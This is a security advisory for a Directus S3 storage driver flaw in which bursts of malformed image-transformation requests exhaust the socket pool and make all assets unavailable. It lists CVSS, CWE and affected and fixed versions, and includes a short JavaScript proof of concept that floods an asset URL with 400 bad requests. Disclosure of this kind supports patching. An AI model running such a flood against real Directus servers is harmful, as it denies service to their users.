GHSA-j8xj-7jff-46mx

Suggest an improvement
Source
https://github.com/advisories/GHSA-j8xj-7jff-46mx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-j8xj-7jff-46mx/GHSA-j8xj-7jff-46mx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-j8xj-7jff-46mx
Aliases
Published
2025-03-26T17:19:28Z
Modified
2025-03-27T03:42:48Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
Summary
Directus's S3 assets become unavailable after a burst of malformed transformations
Details

Summary

When making many malformed transformation requests at once, at some point, all assets are being served as 403.

Details

When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to <code>STORAGE_CLOUD_MAX_SOCKETS</code> making it impossible to have new connections causing assets to be inaccessible.

After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed, because sharp will throw an error on the invalid arguments. For example ?height=xyz

The timeouts set here had no noticeable effect on tests made.

PoC

This can be easily reproduced with the following steps: - setup AWS S3 storage - set STORAGECLOUDMAX_SOCKETS: "50" (this value is lower than default for easier reproduction) - upload a file to your project - run this file (Replace the the file ID with the one you just uploaded):

import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}

start();

Here's an example:

https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c

Impact

This causes denial of assets for all policies of Directus, including Admin and Public.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-26T17:19:28Z",
    "severity": "MODERATE",
    "nvd_published_at": "2025-03-26T17:15:26Z",
    "cwe_ids": [
        "CWE-770"
    ]
}
References

Affected packages

npm / @directus/storage-driver-s3

Package

Name
@directus/storage-driver-s3
View open source insights on deps.dev
Purl
pkg:npm/%40directus/storage-driver-s3

Affected ranges

Type
SEMVER
Events
Introduced
9.22.0
Fixed
12.0.1

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-j8xj-7jff-46mx/GHSA-j8xj-7jff-46mx.json"

npm / directus

Package

Affected ranges

Type
SEMVER
Events
Introduced
9.22.0
Fixed
11.5.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-j8xj-7jff-46mx/GHSA-j8xj-7jff-46mx.json"